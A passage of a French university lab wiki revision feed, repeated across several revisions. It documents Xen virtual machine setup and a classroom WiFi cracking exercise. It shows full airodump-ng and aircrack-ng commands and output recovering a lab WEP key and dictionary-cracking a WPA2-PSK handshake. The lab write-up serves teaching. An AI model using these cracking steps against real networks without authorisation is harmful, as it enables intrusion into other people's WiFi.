Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12367</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12367"/>
		<updated>2026-02-24T11:08:50Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Fichier de configuration Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12347</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12347"/>
		<updated>2026-02-22T22:15:56Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Volumes Logiques */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
